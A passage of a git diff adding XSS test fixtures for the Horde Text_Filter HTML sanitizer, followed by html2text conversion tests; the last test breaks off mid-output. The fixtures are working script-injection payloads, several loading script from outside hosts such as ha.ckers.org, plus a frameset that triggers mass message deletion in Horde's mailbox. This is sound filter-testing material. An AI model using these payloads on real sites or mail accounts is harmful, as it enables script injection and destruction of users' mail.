diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss59.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss59.html
new file mode 100644 (file)
index 0000000..9cfcd76
--- /dev/null
@@ -0,0 +1 @@
+<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss60.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss60.html
new file mode 100644 (file)
index 0000000..4e0a953
--- /dev/null
@@ -0,0 +1 @@
+<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss61.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss61.html
new file mode 100644 (file)
index 0000000..85d1cc8
--- /dev/null
@@ -0,0 +1 @@
+<XSS STYLE="xss:expression(alert('XSS'))">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss62.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss62.html
new file mode 100644 (file)
index 0000000..430e214
--- /dev/null
@@ -0,0 +1,2 @@
+exp/*<A STYLE='no\xss:noxss("*//*");
+xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss63.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss63.html
new file mode 100644 (file)
index 0000000..78c5e20
--- /dev/null
@@ -0,0 +1 @@
+<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss64.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss64.html
new file mode 100644 (file)
index 0000000..c8b61d1
--- /dev/null
@@ -0,0 +1 @@
+<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss65.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss65.html
new file mode 100644 (file)
index 0000000..7e2c6c4
--- /dev/null
@@ -0,0 +1 @@
+<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss66.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss66.html
new file mode 100644 (file)
index 0000000..515ddcd
--- /dev/null
@@ -0,0 +1,3 @@
+<!--[if gte IE 4]>
+<SCRIPT>alert('XSS');</SCRIPT>
+<![endif]-->
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss67.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss67.html
new file mode 100644 (file)
index 0000000..7876e7a
--- /dev/null
@@ -0,0 +1 @@
+<BASE HREF="javascript:alert('XSS');//">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss68.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss68.html
new file mode 100644 (file)
index 0000000..edb75dd
--- /dev/null
@@ -0,0 +1 @@
+<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss69.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss69.html
new file mode 100644 (file)
index 0000000..5467328
--- /dev/null
@@ -0,0 +1 @@
+<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss70.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss70.html
new file mode 100644 (file)
index 0000000..63c9159
--- /dev/null
@@ -0,0 +1 @@
+<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss71.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss71.html
new file mode 100644 (file)
index 0000000..be76fd3
--- /dev/null
@@ -0,0 +1 @@
+<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss72.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss72.html
new file mode 100644 (file)
index 0000000..0cf2fad
--- /dev/null
@@ -0,0 +1,4 @@
+<HTML xmlns:xss>
+  <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
+  <xss:xss>XSS</xss:xss>
+</HTML>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss73.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss73.html
new file mode 100644 (file)
index 0000000..dd29eb8
--- /dev/null
@@ -0,0 +1,2 @@
+<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
+</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss74.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss74.html
new file mode 100644 (file)
index 0000000..60497e7
--- /dev/null
@@ -0,0 +1,2 @@
+<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML>
+<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss75.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss75.html
new file mode 100644 (file)
index 0000000..95687cb
--- /dev/null
@@ -0,0 +1,2 @@
+<XML SRC="xsstest.xml" ID=I></XML>
+<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss76.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss76.html
new file mode 100644 (file)
index 0000000..28c5baf
--- /dev/null
@@ -0,0 +1,5 @@
+<HTML><BODY>
+<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
+<?import namespace="t" implementation="#default#time2">
+<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;">
+</BODY></HTML>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss77.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss77.html
new file mode 100644 (file)
index 0000000..c50331c
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT SRC="http://ha.ckers.org/xss.jpg"><SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss78.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss78.html
new file mode 100644 (file)
index 0000000..e88ee3f
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC="javascript:alert('XSS')"
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss79.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss79.html
new file mode 100644 (file)
index 0000000..7bffc0c
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT a=">" SRC="http://xss.com/a.js"></SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss80.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss80.html
new file mode 100644 (file)
index 0000000..c878081
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT =">" SRC="http://xss.com/a.js"></SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss81.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss81.html
new file mode 100644 (file)
index 0000000..411984c
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT a=">" '' SRC="http://xss.com/a.js"></SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss82.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss82.html
new file mode 100644 (file)
index 0000000..6c09ee6
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT "a='>'" SRC="http://xss.com/a.js"></SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss83.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss83.html
new file mode 100644 (file)
index 0000000..6354cc3
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss84.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss84.html
new file mode 100644 (file)
index 0000000..2ecc9b1
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss85.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss85.html
new file mode 100644 (file)
index 0000000..6157956
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/a.js"></SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss97.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss97.html
new file mode 100644 (file)
index 0000000..4f0915e
--- /dev/null
@@ -0,0 +1 @@
+<body/onload=alert(/xss/)>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss98.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss98.html
new file mode 100644 (file)
index 0000000..cccbeb4
--- /dev/null
@@ -0,0 +1,12 @@
+<frameset rows="15,15,15,15,15,15,15,15,15,*">
+<frame src="mailbox.php?page=1&amp;actionID=delete_messages&amp;targetMbox=&amp;newMbox=0&amp;flag=&amp;indices%5B%5D=199&amp;indices%5B%5D=200&amp;indices%5B%5D=201&amp;indices%5B%5D=202&amp;indices%5B%5D=203&amp;indices%5B%5D=204&amp;indices%5B%5D=205&amp;indices%5B%5D=206&amp;indices%5B%5D=207&amp;indices%5B%5D=208&amp;indices%5B%5D=209&amp;indices%5B%5D=210&amp;indices%5B%5D=211&amp;indices%5B%5D=212&amp;indices%5B%5D=213&amp;indices%5B%5D=214&amp;indices%5B%5D=215&amp;indices%5B%5D=216&amp;indices%5B%5D=217&amp;indices%5B%5D=218&amp;indices%5B%5D=219&amp;indices%5B%5D=220&amp;indices%5B%5D=221&amp;indices%5B%5D=222&amp;indices%5B%5D=223&amp;indices%5B%5D=224&amp;indices%5B%5D=225&amp;indices%5B%5D=226&amp;indices%5B%5D=227&amp;indices%5B%5D=228&amp;indices%5B%5D=229&amp;indices%5B%5D=230&amp;indices%5B%5D=231&amp;indices%5B%5D=232&amp;indices%5B%5D=233&amp;indices%5B%5D=234&amp;indices%5B%5D=235&amp;indices%5B%5D=236&amp;indices%5B%5D=237&amp;indices%5B%5D=238&amp;indices%5B%5D=239&amp;indices%5B%5D=240&amp;indices%5B%5D=241&amp;indices%5B%5D=242&amp;indices%5B%5D=243&amp;indices%5B%5D=244&amp;indices%5B%5D=245&amp;indices%5B%5D=246&amp;indices%5B%5D=247&amp;indices%5B%5D=248&amp;indices%5B%5D=249&amp;indices%5B%5D=250&amp;indices%5B%5D=251&amp;indices%5B%5D=252&amp;indices%5B%5D=253&amp;indices%5B%5D=254&amp;indices%5B%5D=255&amp;indices%5B%5D=256&amp;indices%5B%5D=257&amp;indices%5B%5D=258&amp;indices%5B%5D=259&amp;indices%5B%5D=260&amp;indices%5B%5D=261&amp;indices%5B%5D=262&amp;indices%5B%5D=263&amp;indices%5B%5D=264&amp;indices%5B%5D=265&amp;indices%5B%5D=266&amp;indices%5B%5D=267&amp;indices%5B%5D=268&amp;indices%5B%5D=269&amp;indices%5B%5D=270&amp;indices%5B%5D=271&amp;indices%5B%5D=272&amp;indices%5B%5D=273&amp;indices%5B%5D=274&amp;indices%5B%5D=275&amp;indices%5B%5D=276&amp;indices%5B%5D=277&amp;indices%5B%5D=278&amp;indices%5B%5D=279&amp;indices%5B%5D=280&amp;indices%5B%5D=281&amp;indices%5B%5D=282&amp;indices%5B%5D=283&amp;indices%5B%5D=284&amp;indices%5B%5D=285&amp;indices%5B%5D=286&amp;indices%5B%5D=287&amp;indices%5B%5D=288&amp;indices%5B%5D=289&amp;indices%5B%5D=290&amp;indices%5B%5D=291&amp;indices%5B%5D=292&amp;indices%5B%5D=293&amp;indices%5B%5D=294&amp;indices%5B%5D=295&amp;indices%5B%5D=296&amp;indices%5B%5D=297&amp;indices%5B%5D=298">
+<frame src="mailbox.php?page=1&amp;actionID=delete_messages&amp;targetMbox=&amp;newMbox=0&amp;flag=&amp;indices%5B%5D=299&amp;indices%5B%5D=300&amp;indices%5B%5D=301&amp;indices%5B%5D=302&amp;indices%5B%5D=303&amp;indices%5B%5D=304&amp;indices%5B%5D=305&amp;indices%5B%5D=306&amp;indices%5B%5D=307&amp;indices%5B%5D=308&amp;indices%5B%5D=309&amp;indices%5B%5D=310&amp;indices%5B%5D=311&amp;indices%5B%5D=312&amp;indices%5B%5D=313&amp;indices%5B%5D=314&amp;indices%5B%5D=315&amp;indices%5B%5D=316&amp;indices%5B%5D=317&amp;indices%5B%5D=318&amp;indices%5B%5D=319&amp;indices%5B%5D=320&amp;indices%5B%5D=321&amp;indices%5B%5D=322&amp;indices%5B%5D=323&amp;indices%5B%5D=324&amp;indices%5B%5D=325&amp;indices%5B%5D=326&amp;indices%5B%5D=327&amp;indices%5B%5D=328&amp;indices%5B%5D=329&amp;indices%5B%5D=330&amp;indices%5B%5D=331&amp;indices%5B%5D=332&amp;indices%5B%5D=333&amp;indices%5B%5D=334&amp;indices%5B%5D=335&amp;indices%5B%5D=336&amp;indices%5B%5D=337&amp;indices%5B%5D=338&amp;indices%5B%5D=339&amp;indices%5B%5D=340&amp;indices%5B%5D=341&amp;indices%5B%5D=342&amp;indices%5B%5D=343&amp;indices%5B%5D=344&amp;indices%5B%5D=345&amp;indices%5B%5D=346&amp;indices%5B%5D=347&amp;indices%5B%5D=348&amp;indices%5B%5D=349&amp;indices%5B%5D=350&amp;indices%5B%5D=351&amp;indices%5B%5D=352&amp;indices%5B%5D=353&amp;indices%5B%5D=354&amp;indices%5B%5D=355&amp;indices%5B%5D=356&amp;indices%5B%5D=357&amp;indices%5B%5D=358&amp;indices%5B%5D=359&amp;indices%5B%5D=360&amp;indices%5B%5D=361&amp;indices%5B%5D=362&amp;indices%5B%5D=363&amp;indices%5B%5D=364&amp;indices%5B%5D=365&amp;indices%5B%5D=366&amp;indices%5B%5D=367&amp;indices%5B%5D=368&amp;indices%5B%5D=369&amp;indices%5B%5D=370&amp;indices%5B%5D=371&amp;indices%5B%5D=372&amp;indices%5B%5D=373&amp;indices%5B%5D=374&amp;indices%5B%5D=375&amp;indices%5B%5D=376&amp;indices%5B%5D=377&amp;indices%5B%5D=378&amp;indices%5B%5D=379&amp;indices%5B%5D=380&amp;indices%5B%5D=381&amp;indices%5B%5D=382&amp;indices%5B%5D=383&amp;indices%5B%5D=384&amp;indices%5B%5D=385&amp;indices%5B%5D=386&amp;indices%5B%5D=387&amp;indices%5B%5D=388&amp;indices%5B%5D=389&amp;indices%5B%5D=390&amp;indices%5B%5D=391&amp;indices%5B%5D=392&amp;indices%5B%5D=393&amp;indices%5B%5D=394&amp;indices%5B%5D=395&amp;indices%5B%5D=396&amp;indices%5B%5D=397&amp;indices%5B%5D=398">
+<frame src="mailbox.php?page=1&amp;actionID=delete_messages&amp;targetMbox=&amp;newMbox=0&amp;flag=&amp;indices%5B%5D=399&amp;indices%5B%5D=400&amp;indices%5B%5D=401&amp;indices%5B%5D=402&amp;indices%5B%5D=403&amp;indices%5B%5D=404&amp;indices%5B%5D=405&amp;indices%5B%5D=406&amp;indices%5B%5D=407&amp;indices%5B%5D=408&amp;indices%5B%5D=409&amp;indices%5B%5D=410&amp;indices%5B%5D=411&amp;indices%5B%5D=412&amp;indices%5B%5D=413&amp;indices%5B%5D=414&amp;indices%5B%5D=415&amp;indices%5B%5D=416&amp;indices%5B%5D=417&amp;indices%5B%5D=418&amp;indices%5B%5D=419&amp;indices%5B%5D=420&amp;indices%5B%5D=421&amp;indices%5B%5D=422&amp;indices%5B%5D=423&amp;indices%5B%5D=424&amp;indices%5B%5D=425&amp;indices%5B%5D=426&amp;indices%5B%5D=427&amp;indices%5B%5D=428&amp;indices%5B%5D=429&amp;indices%5B%5D=430&amp;indices%5B%5D=431&amp;indices%5B%5D=432&amp;indices%5B%5D=433&amp;indices%5B%5D=434&amp;indices%5B%5D=435&amp;indices%5B%5D=436&amp;indices%5B%5D=437&amp;indices%5B%5D=438&amp;indices%5B%5D=439&amp;indices%5B%5D=440&amp;indices%5B%5D=441&amp;indices%5B%5D=442&amp;indices%5B%5D=443&amp;indices%5B%5D=444&amp;indices%5B%5D=445&amp;indices%5B%5D=446&amp;indices%5B%5D=447&amp;indices%5B%5D=448&amp;indices%5B%5D=449&amp;indices%5B%5D=450&amp;indices%5B%5D=451&amp;indices%5B%5D=452&amp;indices%5B%5D=453&amp;indices%5B%5D=454&amp;indices%5B%5D=455&amp;indices%5B%5D=456&amp;indices%5B%5D=457&amp;indices%5B%5D=458&amp;indices%5B%5D=459&amp;indices%5B%5D=460&amp;indices%5B%5D=461&amp;indices%5B%5D=462&amp;indices%5B%5D=463&amp;indices%5B%5D=464&amp;indices%5B%5D=465&amp;indices%5B%5D=466&amp;indices%5B%5D=467&amp;indices%5B%5D=468&amp;indices%5B%5D=469&amp;indices%5B%5D=470&amp;indices%5B%5D=471&amp;indices%5B%5D=472&amp;indices%5B%5D=473&amp;indices%5B%5D=474&amp;indices%5B%5D=475&amp;indices%5B%5D=476&amp;indices%5B%5D=477&amp;indices%5B%5D=478&amp;indices%5B%5D=479&amp;indices%5B%5D=480&amp;indices%5B%5D=481&amp;indices%5B%5D=482&amp;indices%5B%5D=483&amp;indices%5B%5D=484&amp;indices%5B%5D=485&amp;indices%5B%5D=486&amp;indices%5B%5D=487&amp;indices%5B%5D=488&amp;indices%5B%5D=489&amp;indices%5B%5D=490&amp;indices%5B%5D=491&amp;indices%5B%5D=492&amp;indices%5B%5D=493&amp;indices%5B%5D=494&amp;indices%5B%5D=495&amp;indices%5B%5D=496&amp;indices%5B%5D=497&amp;indices%5B%5D=498">
+<frame src="mailbox.php?page=1&amp;actionID=delete_messages&amp;targetMbox=&amp;newMbox=0&amp;flag=&amp;indices%5B%5D=499&amp;indices%5B%5D=500&amp;indices%5B%5D=501&amp;indices%5B%5D=502&amp;indices%5B%5D=503&amp;indices%5B%5D=504&amp;indices%5B%5D=505&amp;indices%5B%5D=506&amp;indices%5B%5D=507&amp;indices%5B%5D=508&amp;indices%5B%5D=509&amp;indices%5B%5D=510&amp;indices%5B%5D=511&amp;indices%5B%5D=512&amp;indices%5B%5D=513&amp;indices%5B%5D=514&amp;indices%5B%5D=515&amp;indices%5B%5D=516&amp;indices%5B%5D=517&amp;indices%5B%5D=518&amp;indices%5B%5D=519&amp;indices%5B%5D=520&amp;indices%5B%5D=521&amp;indices%5B%5D=522&amp;indices%5B%5D=523&amp;indices%5B%5D=524&amp;indices%5B%5D=525&amp;indices%5B%5D=526&amp;indices%5B%5D=527&amp;indices%5B%5D=528&amp;indices%5B%5D=529&amp;indices%5B%5D=530&amp;indices%5B%5D=531&amp;indices%5B%5D=532&amp;indices%5B%5D=533&amp;indices%5B%5D=534&amp;indices%5B%5D=535&amp;indices%5B%5D=536&amp;indices%5B%5D=537&amp;indices%5B%5D=538&amp;indices%5B%5D=539&amp;indices%5B%5D=540&amp;indices%5B%5D=541&amp;indices%5B%5D=542&amp;indices%5B%5D=543&amp;indices%5B%5D=544&amp;indices%5B%5D=545&amp;indices%5B%5D=546&amp;indices%5B%5D=547&amp;indices%5B%5D=548&amp;indices%5B%5D=549&amp;indices%5B%5D=550&amp;indices%5B%5D=551&amp;indices%5B%5D=552&amp;indices%5B%5D=553&amp;indices%5B%5D=554&amp;indices%5B%5D=555&amp;indices%5B%5D=556&amp;indices%5B%5D=557&amp;indices%5B%5D=558&amp;indices%5B%5D=559&amp;indices%5B%5D=560&amp;indices%5B%5D=561&amp;indices%5B%5D=562&amp;indices%5B%5D=563&amp;indices%5B%5D=564&amp;indices%5B%5D=565&amp;indices%5B%5D=566&amp;indices%5B%5D=567&amp;indices%5B%5D=568&amp;indices%5B%5D=569&amp;indices%5B%5D=570&amp;indices%5B%5D=571&amp;indices%5B%5D=572&amp;indices%5B%5D=573&amp;indices%5B%5D=574&amp;indices%5B%5D=575&amp;indices%5B%5D=576&amp;indices%5B%5D=577&amp;indices%5B%5D=578&amp;indices%5B%5D=579&amp;indices%5B%5D=580&amp;indices%5B%5D=581&amp;indices%5B%5D=582&amp;indices%5B%5D=583&amp;indices%5B%5D=584&amp;indices%5B%5D=585&amp;indices%5B%5D=586&amp;indices%5B%5D=587&amp;indices%5B%5D=588&amp;indices%5B%5D=589&amp;indices%5B%5D=590&amp;indices%5B%5D=591&amp;indices%5B%5D=592&amp;indices%5B%5D=593&amp;indices%5B%5D=594&amp;indices%5B%5D=595&amp;indices%5B%5D=596&amp;indices%5B%5D=597&amp;indices%5B%5D=598">
+<frame src="mailbox.php?page=1&amp;actionID=delete_messages&amp;targetMbox=&amp;newMbox=0&amp;flag=&amp;indices%5B%5D=599&amp;indices%5B%5D=600&amp;indices%5B%5D=601&amp;indices%5B%5D=602&amp;indices%5B%5D=603&amp;indices%5B%5D=604&amp;indices%5B%5D=605&amp;indices%5B%5D=606&amp;indices%5B%5D=607&amp;indices%5B%5D=608&amp;indices%5B%5D=609&amp;indices%5B%5D=610&amp;indices%5B%5D=611&amp;indices%5B%5D=612&amp;indices%5B%5D=613&amp;indices%5B%5D=614&amp;indices%5B%5D=615&amp;indices%5B%5D=616&amp;indices%5B%5D=617&amp;indices%5B%5D=618&amp;indices%5B%5D=619&amp;indices%5B%5D=620&amp;indices%5B%5D=621&amp;indices%5B%5D=622&amp;indices%5B%5D=623&amp;indices%5B%5D=624&amp;indices%5B%5D=625&amp;indices%5B%5D=626&amp;indices%5B%5D=627&amp;indices%5B%5D=628&amp;indices%5B%5D=629&amp;indices%5B%5D=630&amp;indices%5B%5D=631&amp;indices%5B%5D=632&amp;indices%5B%5D=633&amp;indices%5B%5D=634&amp;indices%5B%5D=635&amp;indices%5B%5D=636&amp;indices%5B%5D=637&amp;indices%5B%5D=638&amp;indices%5B%5D=639&amp;indices%5B%5D=640&amp;indices%5B%5D=641&amp;indices%5B%5D=642&amp;indices%5B%5D=643&amp;indices%5B%5D=644&amp;indices%5B%5D=645&amp;indices%5B%5D=646&amp;indices%5B%5D=647&amp;indices%5B%5D=648&amp;indices%5B%5D=649&amp;indices%5B%5D=650&amp;indices%5B%5D=651&amp;indices%5B%5D=652&amp;indices%5B%5D=653&amp;indices%5B%5D=654&amp;indices%5B%5D=655&amp;indices%5B%5D=656&amp;indices%5B%5D=657&amp;indices%5B%5D=658&amp;indices%5B%5D=659&amp;indices%5B%5D=660&amp;indices%5B%5D=661&amp;indices%5B%5D=662&amp;indices%5B%5D=663&amp;indices%5B%5D=664&amp;indices%5B%5D=665&amp;indices%5B%5D=666&amp;indices%5B%5D=667&amp;indices%5B%5D=668&amp;indices%5B%5D=669&amp;indices%5B%5D=670&amp;indices%5B%5D=671&amp;indices%5B%5D=672&amp;indices%5B%5D=673&amp;indices%5B%5D=674&amp;indices%5B%5D=675&amp;indices%5B%5D=676&amp;indices%5B%5D=677&amp;indices%5B%5D=678&amp;indices%5B%5D=679&amp;indices%5B%5D=680&amp;indices%5B%5D=681&amp;indices%5B%5D=682&amp;indices%5B%5D=683&amp;indices%5B%5D=684&amp;indices%5B%5D=685&amp;indices%5B%5D=686&amp;indices%5B%5D=687&amp;indices%5B%5D=688&amp;indices%5B%5D=689&amp;indices%5B%5D=690&amp;indices%5B%5D=691&amp;indices%5B%5D=692&amp;indices%5B%5D=693&amp;indices%5B%5D=694&amp;indices%5B%5D=695&amp;indices%5B%5D=696&amp;indices%5B%5D=697&amp;indices%5B%5D=698">
+<frame src="mailbox.php?page=1&amp;actionID=expunge_mailbox">
+<frame src="mailbox.php?page=1&amp;actionID=expunge_mailbox">
+<frame src="mailbox.php?page=1&amp;actionID=expunge_mailbox">
+<frame src="mailbox.php?page=1&amp;actionID=expunge_mailbox">
+<frame src="http://secunia.com/">
+</frameset>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss99.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss99.html
new file mode 100644 (file)
index 0000000..10e268d
--- /dev/null
@@ -0,0 +1 @@
+<img src=""> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"" />
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/html2text.phpt b/framework/Text_Filter/test/Horde/Text/Filter/html2text.phpt
new file mode 100644 (file)
index 0000000..82abd87
--- /dev/null
@@ -0,0 +1,153 @@
+--TEST--
+Horde_Text_Filter_Html2text tests
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/Html2text.php';
+$html = file_get_contents(dirname(__FILE__) . '/fixtures/html2text.html');
+echo Horde_Text_Filter::filter($html, 'html2text', array('charset' => 'UTF-8'));
+
+?>
+--EXPECT--
+INLINE FORMATTING
+
+Some text with leading and trailing whitespace
+
+       emphasis text           /emphasis text/
+       strong text             STRONG TEXT
+       italic text             /italic text/
+       bold text               BOLD TEXT
+       emphasis and strong             /EMPHASIS AND STRONG/
+       underline text          _underline text_
+
+-------------------------
+
+LINKS
+
+Horde Homepage[1]
+Test User[2]
+Some inline link[3].
+http://www.example.com
+
+-------------------------
+
+HEADINGS
+
+You can make various levels of heading by putting equals-signs before
+and after the text (all on its own line):
+
+LEVEL 3 HEADING
+
+Level 4 Heading
+
+Level 5 Heading
+
+Level 6 Heading
+
+-------------------------
+
+BULLET LISTS
+
+You can create bullet lists by starting a paragraph with one or more
+asterisks.
+
+  * Bullet one
+
+  * Sub-bullet
+
+NUMBERED LISTS
+
+Similarly, you can create numbered lists by starting a paragraph with
+one or more hashes.
+
+  * Numero uno
+  * Number two
+
+  * Sub-item
+
+MIXING BULLET AND NUMBER LIST ITEMS
+
+You can mix and match bullet and number lists:
+
+  * Number one
+
+  * Bullet
+  * Bullet
+
+  * Number two
+
+  * Bullet
+  * Bullet
+
+  * Sub-bullet
+
+  * Sub-sub-number
+  * Sub-sub-number
+
+  * Number three
+
+  * Bullet
+  * Bullet
+
+BLOCK QUOTING
+
+> Horde Homepage[4]
+> Some inline link[5].
+
+Line inbetween.
+
+> HEADING INSIDE QUOTING
+>
+> This is a paragraph inside a block quoting. The result should be
+> several lines prefixed with the > character.
+
+SPECIAL CHARACTERS
+
+ä é © (tm)
+
+Zitat von John Doe <john.doe@example.com>: 
+
+> Hallo lieber John, 
+>
+> Blah, blah.'
+
+-- 
+Some signature
+http://www.example.com
+
+Zitat von Jane Doe <jane.doe@example.com>:
+
+> Jan Schneider a écrit :
+>
+> > Zitat von Jane Doe <jane.doe@example.com>: 
+> >
+> > > Hi, 
+> > >
+> > > I prepare the last "horde-webmail-1.2" for production
+> > > level but I have few questions: 
+> > > - is there a way to disable "external_display_cal" in
+> > > kronolith, I don't want seeing birthdays calendars (turba) and
+> > task
+> > > list (nag)
+> >
+> >
+> > They aren't displayed by default, or do you mean you don't want
+> > them to appear in the top right calendar panel?
+>
+>  Yes I don't want them to appear in the top right calendar panel
+> but I want user can create their external_cal
+
+Jan.
+
+-- 
+Do you need professional PHP or Horde consulting?
+http://horde.org/consulting/
+
+Links:
+------
+[1] http://www.horde.org
+[2] mailto:test@example.com
+[3] http://www.horde.org
+[4] http://www.horde.org
+[5] http://www.horde.org
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/html2text2.phpt b/framework/Text_Filter/test/Horde/Text/Filter/html2text2.phpt
new file mode 100644 (file)
index 0000000..6934715
--- /dev/null
@@ -0,0 +1,34 @@
+--TEST--
+Horde_Text_Filter_Html2text lists test
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/html2text.php';
+
+$html = <<<EOT
+<ul>
+  <li>This is a short line.</li>
+  <li>This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line.</li>
+  <li>And again a short line.</li>
+</ul>
+EOT;
+echo Horde_Text_Filter::filter($html, 'html2text', array('width' => 50));
+echo Horde_Text_Filter::filter($html, 'html2text', array('wrap' => false));
+
+?>
+--EXPECT--
+  * This is a short line.
+  * This is a long line. This is a long line.
+This is a long line. This is a long line. This is
